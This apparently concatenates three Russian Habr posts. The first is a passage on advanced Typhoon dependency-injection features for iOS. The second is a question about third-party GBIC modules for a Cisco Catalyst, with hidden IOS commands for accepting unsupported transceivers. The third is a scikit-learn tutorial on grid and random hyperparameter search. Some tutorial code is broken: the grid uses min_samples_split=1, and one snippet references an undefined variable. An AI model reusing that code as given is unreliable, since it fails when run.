Зачастую, особенно в небольших проектах, не хватает времени на реализацию полноценного слоя *TyphoonAssembly* уровня контроллеров, в то время как сервисный слой уже готов. В таком случае может быть целесообразным использование автоинъекций, так же известных как autowiring. Посмотрим на простой пример конфигурации экрана просмотра почтового сообщения:
**@interface RCMMessageViewController : UIViewController**
```
#import
@protocol RCMMessageService;
@class RCMMessageRendererBase;
@interface RCMMessageViewController : UIViewController
@property (strong, nonatomic) InjectedProtocol(RCMMessageService) messageService;
@property (strong, nonatomic) InjectedClass(RCMMessageRendererBase) renderer;
@end
```
И единственная на данный момент *TyphoonAssembly* в приложении, указанная в *Info.plist*:
**@implementation RCMHelperAssembly**
```
@implementation RCMHelperAssembly
- (RCMMessageRendererBase *)messageRenderer {
return [TyphoonDefinition withClass:[RCMMessageRendererBase class]];
}
- (id )messageService {
return [TyphoonDefinition withClass:[RCMMessageServiceBase class]];
}
@end
```
Попробуем запустить приложение с такой конфигурацией:
Как видим, нужные зависимости были подставлены автоматически. Обращаю внимание на то, что при использовании автоинъекции не требуется писать метод, отдающий *TyphoonDefinition* для *ViewController'а*. Также стоит отметить, что такой подход работает только при создании *UIViewController* из *TyphoonStoryboard*.
Похожий подход может быть использован и при написании интеграционных тестов — вместо того, чтобы вручную создавать зависимости тестируемого объекта, можно автоматически подставить их из определенной *TyphoonAssembly*:
**@interface RCMMessageServiceBaseTests : XCTestCase**
```
#import
@interface RCMMessageServiceBaseTests : XCTestCase
@property (nonatomic, strong) InjectedProtocol(RCMMessageService) messageService;
@end
@implementation RCMMessageServiceBaseTests
- (void)setUp {
[super setUp];
[[[RCMServiceComponentsAssemblyBase new] activate] inject:self];
}
- (void)testThatServiceObtainsMessage {
// ...
}
@end
```
Аналогичным образом зависимости подставляются в *UIViewController*, созданный вручную, либо из xib.
Как и у любой технологии, у autowire есть как достоинства:
* **Экономия времени** за счет отсутствия необходимости реализовывать некоторые assembly,
* **Более информативные интерфейсы** объектов — сразу же видно, какие зависимости подставляются при помощи Typhoon, какие — самостоятельно,
* Если какая-либо из автоматически подставляемых зависимостей объекта не найдена в фабрике, **crash произойдет сразу же** (в случае ручной подстановки это может вообще пройти незамеченным).
так и недостатки:
* **Привязка к Typhoon** уходит за пределы assembly и затрагивает конкретные классы,
* Просмотрев структуру модулей *TyphoonAssembly* проекта, **нельзя судить о его архитектуре** в целом.
Правило хорошего кода, выработанное нами в **Rambler&Co** — лучше потратить некоторое время и подготовить хорошо структурированные модули уровня Presentation, в которых будут содержаться definition'ы для всех ViewController'ов, а возможности autowire использовать только в интеграционных тестах. Наличие хорошо документированной при помощи *TyphoonAssembly* структуры проекта во многом превосходит все достоинства автоинъекции.
#### **TyphoonDefinition+Option**
[В предыдущей статье](http://habrahabr.ru/company/rambler-co/blog/261537/) мы рассматривали пример использования двух разных реализаций одной *TyphoonAssembly* — боевой и фейковой. Тем не менее, иногда такой подход равносилен стрельбе из пушек по воробьям — а Typhoon предоставляет нам гораздо более изящные способы решения проблемы.
Рассмотрим еще один кейс из **Рамблер.Почты**:
Команда QA попросила добавить в приложение специальное debug-меню, позволяющее работать с логами, узнавать текущий номер билда и прочие подобные вещи. Экран настроек — это таблица, которая собирается из коллекции ViewModel'ей отдельным классом *RCMSettingsConfigurator*. У этого класса две реализации — Base и Debug, которые включаются соответствующими build scheme. Перед нами встал выбор из трех вариантов реализации этой задачи:
* Создавать конфигуратор вручную при помощи *#ifdef*'ов, определяющих значения препроцессорной директивы,
* Написать две реализации assembly, создающей объекты для user story настроек,
* Использовать категорию *TyphoonDefinition+Option*.
Первый вариант, конечно, не выбор настоящих ниндзя (ну не дело это, активно использовать *#ifdef*'ы в коде мобильного приложения). Второй вариант — это та самая вышеупомянутая пушка, нацеленная на невинных воробьев. Третий способ с одной стороны очень прост в реализации, с другой — достаточно гибко расширяется. Остановимся на нем подробнее.
Для начала посмотрим на интерфейс категории, используя методы которой, мы можем получать определенные definition'ы в зависимости от значения параметра, подставленного в поле option:
**@interface TyphoonDefinition (Option)**
```
@interface TyphoonDefinition (Option)
+ (id)withOption:(id)option yes:(id)yesInjection no:(id)noInjection;
+ (id)withOption:(id)option matcher:(TyphoonMatcherBlock)matcherBlock;
+ (id)withOption:(id)option matcher:(TyphoonMatcherBlock)matcherBlock autoInjectionConfig:(void(^)(id config))configBlock;
@end
```
К примеру, в рассматриваемом кейсе это выглядит следующим образом:
**- (id )settingsConfigurator**
```
- (id )settingsConfigurator {
return [TyphoonDefinition withOption:@(DEBUG)
yes:[self debugSettingsConfigurator]
no:[self baseSettingsConfigurator]];
}
```
Использование объекта *TyphoonOptionMatcher* позволяет работать и с более сложными условиями:
**- (id )settingsConfiguratorWithOption:(id)option**
```
- (id )settingsConfiguratorWithOption:(id)option {
return [TyphoonDefinition withOption:option matcher:^(TyphoonOptionMatcher \*matcher) {
[matcher caseEqual:@"qa-team" use:[self qaSettingsConfigurator]];
[matcher caseEqual:@"big-bosses" use:[self bigBossesSettingsConfigurator]];
[matcher caseEqual:@"ios-dream-team" use:[self iosTeamSettingsConfigurator]];
[matcher caseMemberOfClass:[RCMConfiguratorOption class] use:[self settingsConfiguratorWithOption:option]];
[matcher defaultUse:[self defaultSettingsConfigurator]];
}];
}
```
Еще одна возможность — использовать параметр option в качестве ключа для поиска требуемого *TyphoonDefinition*:
**- (id )settingsConfiguratorWithOption:(id)option**
```
- (id )settingsConfiguratorWithOption:(id)option {
return [TyphoonDefinition withOption:option matcher:^(TyphoonOptionMatcher \*matcher) {
[matcher useDefinitionWithKeyMatchedOptionValue];
}];
// При option = @"debugSettingsConfigurator" вернет definition из метода - debugSettingsConfigurator
}
```
Конечно, злоупотреблять этой возможностью тоже не стоит — если альтернативные реализации нужны сразу для большого количества объектов одного уровня абстракции, имеет смысл подменять целый модуль *TyphoonAssembly*.
#### **TyphoonConfig и TyphoonTypeConverter**
[В самой первой статье](http://habrahabr.ru/company/rambler-co/blog/258325/) в одном из примеров использования Typhoon я уже упоминал *TyphoonConfig*, использовав его для инъекции URL серверного API в один из network-клиентов. Пришло время взглянуть на него повнимательнее.
Поддерживаемые форматы конфигурационных файлов:
* *plist*,
* *properties*,
* *json*
Примитивные типы (числа, BOOL, строки) указываются «как есть»:
```
{
"config": {
"defaultFontSize": 17,
"openLinksInExternalBrowser" : NO
}
}
```
Typhoon позволяет оперировать и некоторыми другими объектами: *NSURL*, *UIColor*, *NSNumber*, *UIImage*. В таком случае используется специальный синтаксис:
```
{
"config": {
"baseURL": NSURL(https:// mail.rambler.ru),
"logoImage" : UIImage(rambler-mail-logo-new)
}
}
```
Кроме того, при необходимости мы можем добавить собственный TypeConverter и описать в конфигурационном файле объекты любого другого класса. К примеру, мы хотим инкапсулировать все детали стиля приложения в одном объекте — *RCMStyleModel*:
**@interface RCMStyleTypeConverter : NSObject**
```
typedef NS_ENUM(NSUInteger, RCMStyleComponent) {
RCMStylePrimaryColorComponent = 0,
RCMStyleDefaultFontSizeComponent = 1,
RCMStyleDefaultFontNameComponent = 2
};
@interface RCMStyleTypeConverter : NSObject
@end
@implementation RCMStyleTypeConverter
- (NSString \*)supportedType {
return @"RCMStyle";
}
- (id)convert:(NSString \*)stringValue {
NSArray \*styleComponents = [stringValue componentsSeparatedByString:@";"];
NSString \*colorString = styleComponents[RCMStylePrimaryColorComponent];
UIColor \*primaryColor = [self colorFromHexString:colorString];
NSString \*defaultFontSizeString = styleComponents[RCMStyleDefaultFontSizeComponent];
CGFloat defaultFontSize = [defaultFontSizeString floatValue];
NSString \*defaultFontName = styleComponents[RCMStyleDefaultFontNameComponent];
UIFont \*defaultFont = [UIFont fontWithName:defaultFontName size:defaultFontSize];
RCMStyleModel \*styleModel = [[RCMStyleModel alloc] init];
styleModel.primaryColor = primaryColor;
styleModel.defaultFontSize = defaultFontSize;
styleModel.defaultFont = defaultFont;
return styleModel;
}
```
И теперь стиль для приложения мы можем задавать в следующем виде:
```
{
"config": {
"defaultStyle": RCMStyle(#8732A9;17;HelveticeNeue-Regular),
"anotherStyle" : RCMStyle(#AABBCC;15;SanFrancisco)
}
}
```
Таким образом, если в одну и ту же сущность передаются сразу несколько параметров из конфигурационного файла, стоит задуматься об объединении их в отдельный модельный объект и написании для него TypeConverter'а.
#### **TyphoonPatcher**
Основное отличие интеграционных и unit тестов в том, что в первом случае мы тестируем взаимодействие отдельных модулей приложения друг с другом, а во втором — каждый конкретный модуль в отрыве от всех остальных. Так вот, Typhoon просто восхитителен для организации интеграционных тестов.
К примеру, в нашем проекте есть следующая цепочка зависимостей:
***RCMPushNotificationCenter -> RCMPushService -> RCMNetworkClient***
Мы хотим протестировать поведение *RCMPushNotificationCenter* в зависимости от различных результатов обращения к серверу. Вместо того, чтобы вручную создавать тестируемый объект, подставлять в него stub'овый *RCMPushService* и подменять реализации его методов, мы можем воспользоваться уже готовой инфраструктурой *TyphoonAssembly*:
**- (void)setUp**
```
- (void)setUp {
[super setUp];
NSArray *collaboratingAssemblies = @[[RCMClientAssembly new], [RCMCoreComponentsAssembly new]];
TyphoonAssembly \*serviceComponents = [[RCMServiceComponentsAssemblyBase new] activateWithCollaboratingAssemblies:collaboratingAssemblies];
self.pushNotificationCenter = [serviceComponents pushNotificationCenter];
TyphoonPatcher \*patcher = [[TyphoonPatcher alloc] init];
[patcher patchDefinitionWithSelector:@selector(networkClient) withObject:^id{
return [RCMFakeNetworkClient new];
}];
}
```
Объект *TyphoonPatcher* позволяет нам пропатчить метод, отдающий *TyphoonDefinition*, в любом из модулей *TyphoonAssembly*. В передаваемом *TyphoonPatcher* блоке можно не просто передавать другой инстанс класса, но и использовать mock'и, реализуемые различными фреймворками.
#### **Runtime arguments**
Typhoon позволяет инстанциировать объекты не только с заранее заданными зависимостями, но и с использованием runtime параметров. Понадобиться это может, к примеру, при реализации абстрактной фабрики. Рассмотрим пример:
У нас есть *RCMMessageViewController*, обязательной зависимостью которого является объект сообщения — *RCMMessage*:
**- (void)setUp**
```
@interface RCMMessageViewController : UIViewController
- (instancetype)initWithMessage:(RCMMessage *)message;
@property (nonatomic, strong) id messageService;
@end
```
Объект message неизвестен на момент регистрации *TyphoonDefinition'ов* при активации *TyphoonAssembly* — поэтому нам нужно уметь создавать его на лету. Для этого в *TyphoonAssembly* соответствующей user story напишем следующий метод:
**- (UIViewController \*)messageViewControllerWithMessage:(RCMMessage \*)message**
```
- (UIViewController *)messageViewControllerWithMessage:(RCMMessage *)message {
return [TyphoonDefinition withClass:[RCMMessageViewController class] configuration:^(TyphoonDefinition *definition) {
[definition useInitializer:@selector(initWithMessage:) parameters:^(TyphoonMethod *initializer) {
[initializer injectParameterWith:message];
}];
[definition injectProperty:@selector(messageService)
with:[self.serviceComponents messageService]];
}];
}
```
Вынесем этот метод в отдельный протокол, к примеру, *RCMMessageControllerFactory*, и проинжектим его в роутер:
**- (id)foldersRouter**
```
- (id)foldersRouter {
return [TyphoonDefinition withClass:[RCMFoldersRouterBase class] configuration:^(TyphoonDefinition \*definition) {
[definition injectProperty:@selector(messageControllerFactory)
with:self];
}];
}
```
И добавим в роутер реализацию создания этого контроллера:
**- (void)showMessageViewControllerFromSourceController**
```
- (void)showMessageViewControllerFromSourceController:(UIViewController *)sourceViewController
withMessage:(id )message {
RCMMessageViewController \*messageViewController = [self.messageControllerFactory messageViewControllerWithMessage:message];
...
}
```
Стоит упомянуть и несколько ограничений этой техники:
* Runtime аргументы обязательно **должны представлять собой объекты**. Примитивы при необходимости могут быть завернуты в *NSValue*,
* Переданные фабрике объекты должны использоваться в своем первоначальном виде, их **состояние изменять нельзя**,
* Стоит аккуратно использовать в сочетании с **циклическими зависимостями**. Runtime аргументы должны быть переданы всем объектам зависимости, иначе она не решится правильным образом.
#### **Factory Definitions**
В некоторых ситуациях бывает удобно зарегистрировать *TyphoonDefinition*, умеющий генерировать другие definition'ы. Объясню на конкретном примере:
За создание пользовательских аватарок отвечает специальная фабрика — *RCMTextAvatarFactory*:
**@interface RCMTextAvatarFactory : NSObject**
```
@interface RCMTextAvatarFactory : NSObject
- (RCMTextAvatar *)avatarWithName:(NSString *)name;
@end
```
Аватарки, создаваемые этой фабрикой, необходимо передавать в другие объекты. Реализуется это следующим образом — для начала регистрируется definition для фабрики:
**- (RCMTextAvatarFactory \*)textAvatarFactory**
```
- (RCMTextAvatarFactory *)textAvatarFactory {
return [TyphoonDefinition withClass:[RCMTextAvatarFactory class]];
}
```
И затем регистрируются definition'ы для создаваемых этой фабрикой сущностей:
**- (RCMTextAvatar \*)textAvatarForUserName:(NSString \*)userName**
```
- (RCMTextAvatar *)textAvatarForUserName:(NSString *)userName {
return [TyphoonDefinition withFactory:[self textAvatarFactory] selector:@selector(avatarWithName:) parameters:^(TyphoonMethod *factoryMethod) {
[factoryMethod injectParameterWith:userName];
}];
}
```
Кстати, эта возможность позволяет плавно мигрировать с использования [сервис-локатора](http://sergeyteplyakov.blogspot.ru/2013/03/di-service-locator.html), если вы этим грешили, на Typhoon. Первым шагом будет регистрация локатора в качестве фабрики, а вторым — реализация *TyphoonDefinition'ов* для сервисов с использованием *factoryMethod'ов*:
**- (id )messageService**
```
- (id )messageService {
return [TyphoonDefinition withFactory:[self serviceLocator] selector:@selector(messageService)];
}
```
#### **TyphoonInstancePostProcessor/TyphoonDefinitionPostProcessor**
Эти протоколы используются для создания так называемых инфраструктурных компонентов. Если assembly возвращает такой объект, он обрабатывается отлично от обычных definition’ов.
Использование *TyphoonInstancePostProcessor* позволяет нам вклиниться в момент возврата контейнером инстансов создаваемых зависимостей и каким-нибудь образом их обработать. К примеру, это можно использовать для логирования всех обращений к определенным объектам, скажем, к *networkService'ам*:
Для начала напишем простой декоратор, выводящий в лог все сообщения, посылаемые объекту:
**@interface RCMDecoratedService : NSProxy**
```
@interface RCMDecoratedService : NSProxy
+ (instancetype)decoratedServiceWith:(NSObject \*)service;
@end
@interface RCMDecoratedService()
@property (strong, nonatomic) NSObject \*service;
@end
@implementation RCMDecoratedService
- (instancetype)initWithService:(NSObject \*)service {
self.service = service;
return self;
}
+ (instancetype)decoratedServiceWith:(NSObject \*)service {
return [[self alloc] initWithService:service];
}
- (NSMethodSignature \*)methodSignatureForSelector:(SEL)sel {
return [self.service methodSignatureForSelector:sel];
}
- (void)forwardInvocation:(NSInvocation \*)invocation {
NSLog(invocation.debugDescription);
[invocation invokeWithTarget:self.service];
}
@end
```
Теперь нужно создать объект, реализующий протокол *TyphoonInstancePostProcessor* — его задачей будет определять, какому из полученных им объектов требуется добавить дополнительное поведение, и декорировать их:
**@interface RCMLoggingInstancePostProcessor : NSObject**
```
@interface RCMLoggingInstancePostProcessor : NSObject
@end
@implementation RCMLoggingInstancePostProcessor
- (id)postProcessInstance:(id)instance {
if ([self isAppropriateInstance:instance]) {
RCMDecoratedService \*decoratedService = [RCMDecoratedService decoratedServiceWith:instance];
return decoratedService;
}
return instance;
}
- (BOOL)isAppropriateInstance:(id)instance {
if ([instance conformsToProtocol:@protocol(RCMService)]) {
return YES;
}
return NO;
}
@end
```
И последний шаг — зарегистрировать *RCMLoggingInstancePostProcessor* в одной из *TyphoonAssembly*. Сам объект не участвует в процессе инъекции зависимостей и живет сам по себе. Его жизненный цикл привязан ко времени жизни *TyphoonComponentFactory*.
**@implementation RCMApplicationAssembly**
```
@implementation RCMApplicationAssembly
- (id)loggingProcessor {
return [TyphoonDefinition withClass:[RCMLoggingInstancePostProcessor class]];
}
...
@end
```
Теперь все создаваемые Typhoon'ом зависимости будут проходить через *RCMLoggingInstancePostProcessor* — а те из них, кто реализует протокол *RCMService* — оборачиваться в *NSProxy*.
Другой инфраструктурный компонент, *TyphoonDefinitionPostProcessor*, позволяет обрабатывать все зарегистрированные definition'ы до того, как будут созданы описываемые ими объекты. Таким образом, мы можем любым образом конфигурировать и пересобирать переданные такому процессору *TyphoonDefinition'ы*:
```
- (void)postProcessDefinition:(TyphoonDefinition *)definition replacement:(TyphoonDefinition **)definitionToReplace withFactory:(TyphoonComponentFactory *)factory;
```
В качестве примеров использования этого компонента можно привести уже упомянутые в статье *TyphoonPatcher* и *TyphoonConfigPostProcessor*.
#### **Асинхронное тестирование**
Для тех, кто по какой-то причине не может или не хочет использовать *XCTestExpectation*, Typhoon предлагает свой набор методов для реализации тестирования асинхронных вызовов. Рассмотрим в качестве примера тест синхронизации почтовых сборщиков:
**- (void)testThatServiceSynchronizeMailBoxesList**
```
- (void)testThatServiceSynchronizeMailBoxesList {
// given
NSInteger const kExpectedMailBoxCount = 4;
[OHHTTPStubs stubRequestsPassingTest:REQUEST_TEST_YES
withStubResponse:TEST_RESPONSE_WITH_FILE(@"mailboxes_success")];
__block NSInteger resultCount;
__block NSError *responseError = nil;
// when
[self.mailBoxService synchronizeMailBoxesWithCompletionBlock:^(NSError *error) {
responseError = error;
NSFetchedResultsController *controller = [self.mailBoxService fetchedResultsControllerWithAllMailBoxes];
resultCount = controller.fetchedObjects.count;
}];
// then
[TyphoonTestUtils waitForCondition:^BOOL{
typhoon_asynch_condition(resultCount > 0);
} andPerformTests:^{
XCTAssertNil(responseError);
XCTAssertEqual(resultCount, kExpectedMailBoxCount);
}];
}
```
Стандартный timeout, добавленный разработчиками — семь секунд, условие проверяется каждую секунду. Если оно не будет выполнено — тест провалится с соответствующим exception'ом. При необходимости можно использовать и свой timeout:
**TyphoonTestUtils wait:30.0f secondsForCondition:^BOOL**
```
[TyphoonTestUtils wait:30.0f secondsForCondition:^BOOL{
typhoon_asynch_condition(resultCount > 0);
} andPerformTests:^{
XCTAssertNil(responseError);
XCTAssertEqual(resultCount, kExpectedMailBoxCount);
}];
```
#### **Заключение**
В этом материале мы рассмотрели большое количество различных возможностей Typhoon Framework — автоинъекцию, использование конфигурационных файлов, хелперы для проведения интеграционного тестирования и многое другое. Владение этими техниками позволит вам решить больше задач без изобретения своих велосипедов, пусть даже они и не будут использоваться каждый день.
В следующей части цикла мы вкратце рассмотрим две других реализации Dependency Injection контейнеров для Cocoa — [Objection](https://github.com/atomicobject/objection) и [BloodMagic](https://github.com/WayofTime/BloodMagic). Ну и небольшая новость напоследок — мы с моим коллегой Германом Сапрыкиным вошли в команду разработчиков Typhoon, так что фреймворк стал еще чуть более отечественным.
#### **Цикл «Управляем зависимостями в iOS-приложениях правильно»**
* [Знакомство с Typhoon](http://habrahabr.ru/company/rambler-co/blog/258325/)
* [Устройство Typhoon](http://habrahabr.ru/company/rambler-co/blog/260355/)
* [Модульность Typhoon](http://habrahabr.ru/company/rambler-co/blog/261537/)
* [Typhoon Tips & Tricks](http://habrahabr.ru/company/rambler-co/blog/264683/)
* Альтернативы Typhoon
* *[(Дополнительно) Rambler.iOS #3. Dependency Injection в iOS. Слайды](http://www.slideshare.net/Rambler-iOS/dependency-injection-ios)*
* *[(Дополнительно) Rambler.iOS #3. Dependency Injection в iOS. Видео](https://www.youtube.com/watch?v=LO59z3fjc9k)*
#### **Полезные ссылки**
* [Обсуждение возможностей реализации Autowire в Typhoon Framework](https://github.com/appsquickly/Typhoon/issues/178)
* [What is the difference between unit, functional, acceptance and integration tests?](http://stackoverflow.com/a/4904533)
* [NSProxy, как способ срезать на поворотах](http://habrahabr.ru/post/235041/)
* [Abstract Factory Pattern](http://www.oodesign.com/abstract-factory-pattern.html)
* [Decorator Pattern](http://www.oodesign.com/decorator-pattern.html)
* [DI паттерны. Service Locator](http://sergeyteplyakov.blogspot.ru/2013/03/di-service-locator.html) | https://habr.com/ru/post/264683/ | null | ru | null |
# Альтернативные модули GBIC для Cisco Catalyst
**Дано:** коммутатор Cisco Catalyst 4503 c многопортовым оптическим модулем, поддерживающем GBIC’и.
**Не дано:** родной цисковский GBIC WS-G5486 (их сейчас не найдёшь в Москве и, к тому же, они дорогие).
**Задача:** найти модуль от другого производителя, который бы заработал с каталистом.
Я слышал, что есть у 3Com’а соответствующие модули, у Allied Telesyn и у D-Link, но мне сказали, что могут и не подойти. Не хотелось бы потратить деньги на 8 железок, которые потом некуда девать.
Вы не в курсе?
**UPD:** Как [выяснилось](http://community.livejournal.com/cisco_ru/201103.html), существуют скрытые команды для IOS’а, позволяющие ставить любой модуль, совместимый физически. Но, в некоторых случаях, именно для Каталиста 4500 требуется IOS SG.
`service unsupported-transceiver` (пишется именно так)
`no errdisable detect cause gbic-invalid` | https://habr.com/ru/post/23332/ | null | ru | null |
# Оптимизация гиперпараметров с помощью поиска по сетке и случайного поиска в Python
### Введение
Все модели машинного обучения имеют набор гиперпараметров или аргументов, которые должны быть заданы специалистом.
Например, модель логистической регрессии имеет различные решатели, использующиеся для поиска коэффициентов, которые могут дать нам наилучший из возможных результатов. Каждый решатель использует свой алгоритм для поиска оптимального результата, и ни один из них не является однозначно лучше, чем другой. Трудно сказать, какой решатель будет работать качественнее всего на вашем наборе данных (датасете), пока вы не попробуете их все.
Лучший гиперпараметр субъективен и отличается для каждого датасета. Библиотека [Scikit-Learn](https://scikit-learn.org/stable/) в Python имеет набор гиперпараметров по умолчанию, которые достаточно хорошо работают для всех моделей, но они не обязательно являются наилучшими для каждой из проблем.
Единственный способ найти наиболее подходящие гиперпараметры для вашего датасета — это метод проб и ошибок, что и является основной концепцией **оптимизации гиперпараметров**.
Проще говоря, оптимизация гиперпараметров - это техника, которая предполагает поиск в диапазоне значений для нахождения подмножества результатов, обеспечивающих наилучшую производительность на заданном наборе данных.
Существуют две популярные техники, используемые для оптимизации гиперпараметров, — сеточный и случайный поиск.
### Поиск по сетке
При выполнении оптимизации гиперпараметров сначала необходимо определить **област**ь или **сетку параметров**, в которую мы включаем набор возможных значений гиперпараметров, которые могут быть использованы для построения модели.
Затем используется метод поиска по сетке для размещения этих гиперпараметров в матрице, и модель обучается на каждой комбинации значений гиперпараметров.
После этого выбирается модель с наилучшими показателями.
### Случайный поиск
В то время как поиск по сетке рассматривает все возможные комбинации гиперпараметров, чтобы найти лучшую модель, случайный поиск выбирает и тестирует только случайную комбинацию гиперпараметров.
Эта техника вместо исчерпывающего поиска делает случайную выборку из сетки гиперпараметров.
Мы можем указать общее количество попыток случайного поиска, прежде чем будет получена наилучшая модель.
Теперь, когда у вас есть базовое понимание того, как работают случайный поиск и поиск по сетке, я покажу, как реализовать эти методы с помощью библиотеки Scikit-Learn.
### Оптимизация классификатора Random Forest (случайный лес) с помощью поиска по сетке и случайного поиска
**Шаг 1: Загрузка набора данных**
Загрузите датасет [Wine Qualit](https://www.kaggle.com/datasets/rajyellow46/wine-quality)y на сайте Kaggle и введите следующие строки кода, чтобы считать его с помощью библиотеки [Pandas](https://pandas.pydata.org/):
```
import pandas as pd
df = pd.read_csv('winequality-red.csv')
df.head()
```
Верхняя часть датафрейма выглядит следующим образом:
**Шаг 2: Предварительная обработка данных**
Целевая переменная "quality" (качество) содержит значения в диапазоне от 1 до 10.
Мы превратим ее в задачу бинарной классификации, присвоив всем пунктам данных со значением качества меньше или равным 5 значение 0, а остальным результатам — значение 1:
```
import numpy as np
df['target'] = np.where(df['quality']>5, 1, 0)
```
Давайте разделим зависимые и независимые переменные в этом датафрейме:
```
df2 = df.drop(['quality'],axis=1)
X = df2.drop(['target'],axis=1)
y = df2[['target']]
```
**Шаг 3: Построение модели**
Теперь давайте создадим классификатор случайного леса. Мы будем выполнять настройку гиперпараметров этой модели, для создания наилучшего алгоритма под наш датасет:
```
from sklearn.ensemble import RandomForestClassifier
rf = RandomForestClassifier()
```
**Шаг 4: Реализация поиска по сетке с помощью Scikit-Learn**
**Определение пространственного диапазона гиперпараметров**
Сейчас мы попробуем настроить следующий набор гиперпараметров этой модели:
1. **"Max\_depth"**: Этот гиперпараметр представляет максимальный уровень (глубину) каждого дерева в модели случайного леса. Более глубокое дерево показывает хорошие результаты и собирает много информации об обучающих данных, но плохо поддается обобщению для тестовых данных. По умолчанию в библиотеке Scikit-Learn это значение установлено в "None", что значит, такие деревья оставлены для полного расширения.
2. **"Max\_features"**: Максимальное количество признаков, которое модели случайного леса разрешается опробовать при каждом разбиении. По умолчанию в Scikit-Learn это значение устанавливается равным квадратному корню из общего числа переменных в наборе данных.
3. **"N\_estimators"**: Количество деревьев решений в лесу. По умолчанию в Scikit-Learn число оценщиков (estimators) равно 10.
4. **"Min\_samples\_leaf"**: Минимальное количество образцов, необходимое для нахождения в листовом узле каждого дерева. В Scikit-Learn значение по умолчанию равно 1.
5. **"Min\_samples\_split"**: Минимальное количество образцов, необходимое для разбиения внутреннего узла каждого дерева. В Scikit-Learn значение по умолчанию равно 2.
Теперь мы создадим словарь из множества возможных значений для всех вышеперечисленных гиперпараметров. Это также называется **пространством гиперпараметров**, и мы будем перебирать их, чтобы найти наилучшую комбинацию аргументов:
```
grid_space={'max_depth':[3,5,10,None],
'n_estimators':[10,100,200],
'max_features':[1,3,5,7],
'min_samples_leaf':[1,2,3],
'min_samples_split':[1,2,3]
}
```
### Запуск поиска по сетке
Теперь нам нужно выполнить поиск, чтобы найти наилучшую комбинацию гиперпараметров для модели:
```
from sklearn.model_selection import GridSearchCV
grid = GridSearchCV(rf,param_grid=grid_space,cv=3,scoring='accuracy')
model_grid = grid.fit(X,y)
```
### Оценка результатов моделирования
Наконец, давайте выведем самую высокую степень точности модели, а также набор гиперпараметров, которые обеспечили такой результат:
```
print('Best hyperparameters are: '+str(model_grid.best_params_))
print('Best score is: '+str(model_grid.best_score_))
```
Лучшая модель дала оценку точности приблизительно 0,74, а ее гиперпараметры следующие:
Теперь давайте применим случайный поиск на том же датасете и посмотрим, сможем ли мы получить подобные результаты.
**Шаг 5: Реализация случайного поиска с помощью Scikit-Learn**
**Определение области значений гиперпараметров**
Теперь давайте определим диапазон значений гиперпараметров для реализации случайного поиска. Эта область параметров может иметь больший диапазон значений, чем та, которую мы построили для поиска по сетке, поскольку случайный поиск не пытается полностью опробовать все комбинации гиперпараметров.
Он случайным образом выбирает гиперпараметры, чтобы найти лучшие из них, и это означает, что в отличие от сеточного поиска, случайный поиск может быстро перебрать большое количество значений.
```
from scipy.stats import randint
rs_space={'max_depth':list(np.arange(10, 100, step=10)) + [None],
'n_estimators':np.arange(10, 500, step=50),
'max_features':randint(1,7),
'criterion':['gini','entropy'],
'min_samples_leaf':randint(1,4),
'min_samples_split':np.arange(2, 10, step=2)
}
```
### Запуск случайного поиска
Выполните следующие строки кода для запуска случайного поиска модели: (Обратите внимание, что мы указали *n\_iter=500*, значит, случайный поиск будет выполняться 500 раз, прежде чем будет выбрана лучшая модель. Вы можете поэкспериментировать с другим числом итераций, чтобы увидеть, сколько из них дает оптимальные результаты. Имейте в виду, что большое количество итераций приведет к улучшению качества производительности, но при этом будет достаточно трудоемким).
```
from sklearn.model_selection import RandomizedSearchCV
rf = RandomForestClassifier()
rf_random = RandomizedSearchCV(rf, space, n_iter=500, scoring='accuracy', n_jobs=-1, cv=3)
model_random = rf_random.fit(X,y)
```
### Оценка результатов моделирования
Теперь выполните следующие строки кода, чтобы вывести лучшие гиперпараметры, найденные методом случайного поиска, а также самую высокую точность самой удачной модели:
```
print('Best hyperparameters are: '+str(model_random.best_params_))
print('Best score is: '+str(model_random.best_score_))
```
Лучшие гиперпараметры, найденные методом случайного поиска, следующие:
Самая высокая точность из всех построенных моделей также составляет примерно 0,74.
Обратите внимание, что поиск по сетке, и случайный поиск достаточно хорошо справились с этим датасетом. Имейте в виду, что если вы запустите случайный поиск на том же коде, ваши результаты могут сильно отличаться от того, что я показал выше.
Это связано с тем, что поиск выполняется по очень большой сетке параметров с использованием случайной инициализации, что может привести к результатам, которые будут значительно отличаться при каждом использовании этой техники.
**Полный код**
Вот весь код, использованный в этом руководстве:
```
# imports
import pandas as pd
import numpy as np
from sklearn.ensemble import RandomForestClassifier
from sklearn.model_selection import GridSearchCV
from scipy.stats import randint
from sklearn.model_selection import RandomizedSearchCV
# reading the dataset
df = pd.read_csv('winequality-red.csv')
# preprocessing
df['target'] = np.where(df['quality']>5, 1, 0)
df2 = df.drop(['quality'],axis=1)
X = df2.drop(['target'],axis=1)
y = df2[['target']]
# initializing random forest
rf = RandomForestClassifier()
# grid search cv
grid_space={'max_depth':[3,5,10,None],
'n_estimators':[10,100,200],
'max_features':[1,3,5,7],
'min_samples_leaf':[1,2,3],
'min_samples_split':[1,2,3]
}
grid = GridSearchCV(rf,param_grid=grid_space,cv=3,scoring='accuracy')
model_grid = grid.fit(X,y)
# grid search results
print('Best grid search hyperparameters are: '+str(model_grid.best_params_))
print('Best grid search score is: '+str(model_grid.best_score_))
# random search cv
rs_space={'max_depth':list(np.arange(10, 100, step=10)) + [None],
'n_estimators':np.arange(10, 500, step=50),
'max_features':randint(1,7),
'criterion':['gini','entropy'],
'min_samples_leaf':randint(1,4),
'min_samples_split':np.arange(2, 10, step=2)
}
rf = RandomForestClassifier()
rf_random = RandomizedSearchCV(rf, rs_space, n_iter=500, scoring='accuracy', n_jobs=-1, cv=3)
model_random = rf_random.fit(X,y)
# random random search results
print('Best random search hyperparameters are: '+str(model_random.best_params_))
print('Best random search score is: '+str(model_random.best_score_))
```
### Поиск по сетке и случайный поиск — какой из них использовать?
Если вы когда-нибудь окажетесь перед выбором между поиском по сетке и случайным поиском, вот несколько советов, которые помогут вам решить, какой из них использовать:
1. Используйте поиск по сетке, если у вас уже есть примерный диапазон известных значений гиперпараметров, которые будут работать хорошо. Убедитесь, что область значений параметров невелика, так как поиск по сетке может занять очень много времени.
2. Применяйте случайный поиск в широком диапазоне значений, если у вас еще нет представления о параметрах, которые будут хорошо работать в вашей модели. Случайный поиск быстрее, чем поиск по сетке, и его всегда следует использовать, когда у вас большая область значений параметров.
3. Для получения наилучших результатов целесообразно использовать как случайный поиск, так и поиск по сетке.
